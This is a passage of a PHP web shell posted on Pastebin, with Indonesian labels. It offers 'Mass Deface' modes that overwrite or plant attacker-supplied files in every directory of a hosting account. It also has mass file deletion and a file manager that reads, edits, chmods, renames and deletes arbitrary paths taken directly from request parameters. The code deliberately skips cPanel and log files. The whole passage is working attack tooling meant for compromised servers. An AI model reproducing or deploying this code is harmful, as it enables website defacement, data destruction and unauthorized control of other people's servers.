  790.                                 unlink($lokasi);
  791.                                 $idx = hapus_massal($dirc,$namafile);
  792.                             }
  793.                         }
  794.                     }
  795.                 }
  796.             }
  797.         }
  798.     }
  799.     function clear_fill($file,$index){
  800.         if(file_exists($file)){
  801.             $handle = fopen($file,'w');
  802.             fwrite($handle,'');
  803.             fwrite($handle,$index);
  804.             fclose($handle);  } }
  805.  
  806.     function gass(){
  807.         global $dirr , $index ;
  808.         chdir($dirr);
  809.         $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  810.         $files = scandir($dirr) ;
  811.         $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  812.         sort($files);
  813.         $n = 0 ;
  814.         foreach ($files as $file){
  815.             if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  816.                 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  817.                 edit_file($file,$index);
  818.                 flush();
  819.                 $n = $n +1 ;
  820.                 }
  821.                 }
  822.                 echo "<br>";
  823.                 echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
  824.                     }
  825.     function ListFiles($dirrall) {
  826.  
  827.     if($dh = opendir($dirrall)) {
  828.  
  829.        $files = Array();
  830.        $inner_files = Array();
  831.        $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  832.        $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  833.         while($file = readdir($dh)) {
  834.             if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  835.                 if(is_dir($dirrall . "/" . $file)) {
  836.                     $inner_files = ListFiles($dirrall . "/" . $file);
  837.                     if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  838.                 } else {
  839.                     array_push($files, $dirrall . "/" . $file);
  840.                 }
  841.             }
  842.             }
  843.  
  844.             closedir($dh);
  845.             return $files;
  846.         }
  847.     }
  848.     function gass_all(){
  849.         global $index ;
  850.         $dirrall=$_POST['d_dir'];
  851.         foreach (ListFiles($dirrall) as $key=>$file){
  852.             $file = str_replace('//',"/",$file);
  853.             echo "<center><strong>$file</strong> ===>";
  854.             edit_file($file,$index);
  855.             flush();
  856.         }
  857.         $key = $key+1;
  858.     echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
  859.     function sabun_massal($dir,$namafile,$isi_script) {
  860.         if(is_writable($dir)) {
  861.             $dira = scandir($dir);
  862.             foreach($dira as $dirb) {
  863.                 $dirc = "$dir/$dirb";
  864.                 $lokasi = $dirc.'/'.$namafile;
  865.                 if($dirb === '.') {
  866.                     file_put_contents($lokasi, $isi_script);
  867.                 } elseif($dirb === '..') {
  868.                     file_put_contents($lokasi, $isi_script);
  869.                 } else {
  870.                     if(is_dir($dirc)) {
  871.                         if(is_writable($dirc)) {
  872.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  873.                             file_put_contents($lokasi, $isi_script);
  874.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  875.                         }
  876.                     }
  877.                 }
  878.             }
  879.         }
  880.     }
  881.     if($_POST['mass'] == 'onedir') {
  882.         echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  883.         $ini="http://";
  884.         $mainpath=$_POST[d_dir];
  885.         $file=$_POST[d_file];
  886.         $dir=opendir("$mainpath");
  887.         $code=base64_encode($_POST[script]);
  888.         $indx=base64_decode($code);
  889.         while($row=readdir($dir)){
  890.         $start=@fopen("$row/$file","w+");
  891.         $finish=@fwrite($start,$indx);
  892.         if ($finish){
  893.             echo"$ini$row/$file\n";
  894.             }
  895.         }
  896.         echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  897.         $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  898.         $dir=opendir("$mainpath");
  899.         $code=base64_encode($_POST[script]);
  900.         $indx=base64_decode($code);
  901.         while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  902.         $finish=@fwrite($start,$indx);
  903.         if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  904.         }
  905.  
  906.     }
  907.     elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  908.     elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  909.     elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  910.     elseif($_POST['mass'] == 'massdeface') {
  911.         echo "<div style='margin: 5px auto; padding: 5px'>";
  912.         sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  913.         echo "</div>";  }
  914.     else {
  915.         echo "
  916.         <center><font style='text-decoration: underline;'>
  917.         Select Type:<br>
  918.         </font>
  919.         <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
  920.         <option value=\"onedir\">Mass Deface 1 Dir</option>
  921.         <option value=\"massdeface\">Mass Deface ALL Dir</option>
  922.         <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  923.         <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  924.         <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  925.         <font style='text-decoration: underline;'>Folder:</font><br>
  926.         <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
  927.         <font style='text-decoration: underline;'>Filename:</font><br>
  928.         <input type='text' name='d_file' value='done.php' style='width: 450px;' height='10'><br>
  929.         <font style='text-decoration: underline;'>Index File:</font><br>
  930.         <textarea name='script' style='width: 700px; height: 350x;'>
  931.         </textarea><br>
  932.         <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  933.         </form></center>";
  934.         }          
  935. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  936. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  937. if($_POST['opt'] == 'chmod'){
  938. if(isset($_POST['perm'])){
  939. if(chmod($_POST['path'],$_POST['perm'])){
  940. echo '<font color="green">Success !</font><br/>';
  941. }else{
  942. echo '<font color="red">Denied !</font><br />';
  943. }
  944. }
  945. echo '<form method="POST">
  946. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  947. <input type="hidden" name="path" value="'.$_POST['path'].'">
  948. <input type="hidden" name="opt" value="chmod">
  949. <input type="submit" value="Go" />
  950. </form>';
  951. }
  952. elseif(isset($_GET['filesrc'])){
  953.     echo "<tr><td>";
  954.     echo '</tr></td></table><br />';
  955.     echo "<textarea cols=80 rows=20 name='src'>".htmlspecialchars(file_get_contents($_GET['filesrc']))."</textarea><br />";
  956. }elseif($_POST['opt'] == 'rename'){
  957. if(isset($_POST['newname'])){
  958. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  959. echo '<font color="green">Success !</font><br/>';
  960. }else{
  961. echo '<font color="red">Denied !</font><br />';
  962. }
  963. $_POST['name'] = $_POST['newname'];
  964. }
  965. echo '<form method="POST">
  966. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  967. <input type="hidden" name="path" value="'.$_POST['path'].'">
  968. <input type="hidden" name="opt" value="rename">
  969. <input type="submit" value="Go" />
  970. </form>';
  971. }elseif($_POST['opt'] == 'edit'){
  972. if(isset($_POST['src'])){
  973. $fp = fopen($_POST['path'],'w');
  974. if(fwrite($fp,$_POST['src'])){
  975. echo '<font color="green">Success !</font><br/>';
  976. }else{
  977. echo '<font color="red">Denied !</font><br/>';
  978. }
  979. fclose($fp);
  980. }
  981. echo '<form method="POST">
  982. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  983. <input type="hidden" name="path" value="'.$_POST['path'].'">
  984. <input type="hidden" name="opt" value="edit">
  985. <input type="submit" value="Save" />
  986. </form>';
  987. }
  988. echo '</center>';
  989. }else{
  990. echo '</table><br/><center>';
  991. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  992. if($_POST['type'] == 'dir'){
  993. if(rmdir($_POST['path'])){
  994. echo '<font color="green">Success !</font><br/>';
  995. }else{
  996. echo '<font color="red">Denied !                                                                                                             </font><br/>';
  997. }
  998. }elseif($_POST['type'] == 'file'){
  999. if(unlink($_POST['path'])){
  1000. echo '<font color="green">Success</font><br/>';
  1001. }else{
  1002. echo '<font color="red">Denied</font><br/>';
  1003. }
  1004. }
  1005. }
  1006. echo '</center>';
  1007. $scandir = scandir($path);
  1008. if($_GET['file'] == 'asu') {
  1009. echo '<div><table width="620" class="content" border="0" cellpadding="3" cellspacing="1">
  1010. <tr>
  1011. <th><center>Name</center></th>
  1012. <th><center>Size</center></th>
  1013. <th><center>Permission</center></th>
  1014. <th><center>Action</center></th>
  1015. </tr>';
  1016.  
  1017. foreach($scandir as $dir){
  1018. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  1019. echo '<tr>
  1020. <td><i class="fas fa-folder-open"><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td></i>
  1021. <td><center>--</center></td>
  1022. <td><center>';
  1023. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  1024. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  1025. echo perms($path.'/'.$dir);
  1026. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  1027.  
  1028. echo '</center></td>
  1029. <td><center><form method="POST" action="?option&path='.$path.'">
  1030. <select name="opt">
  1031. <option value="">Select</option>
  1032. <option value="delete">Delete</option>
  1033. <option value="chmod">Chmod</option>
  1034. <option value="rename">Rename</option>
  1035. </select>
  1036. <input type="hidden" name="type" value="dir">
  1037. <input type="hidden" name="name" value="'.$dir.'">
  1038. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  1039. <input type="submit" value=">">
  1040. </form></center></td>
  1041. </tr>';
  1042. }
  1043. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  1044. foreach($scandir as $file){
  1045. if(!is_file($path.'/'.$file)) continue;
  1046. $size = filesize($path.'/'.$file)/1024;
  1047. $size = round($size,3);
  1048. if($size >= 1024){
  1049. $size = round($size/1024,2).' MB';
  1050. }else{
  1051. $size = $size.' KB';
  1052. }
  1053.  
  1054. echo '<tr>
  1055. <td><i class="fas fa-file-code"></i> <a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td></i>
  1056. <td><center>'.$size.'</center></td>
  1057. <td><center>';
  1058. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  1059. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  1060. echo perms($path.'/'.$file);
  1061. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  1062. echo '</center></td>
  1063. <td><center><form method="POST" action="?option&path='.$path.'">
  1064. <select name="opt">
  1065. <option value="">Select</option>
  1066. <option value="delete">Delete</option>
  1067. <option value="chmod">Chmod</option>
  1068. <option value="rename">Rename</option>
  1069. <option value="edit">Edit</option>
  1070. </select>
  1071. <input type="hidden" name="type" value="file">
  1072. <input type="hidden" name="name" value="'.$file.'">
  1073. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  1074. <input type="submit" value=">">
  1075. </form></center></td>
  1076. </tr>';
  1077. }
  1078. echo '</table>
  1079. </div>';
  1080. }
  1081. }
  1082. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top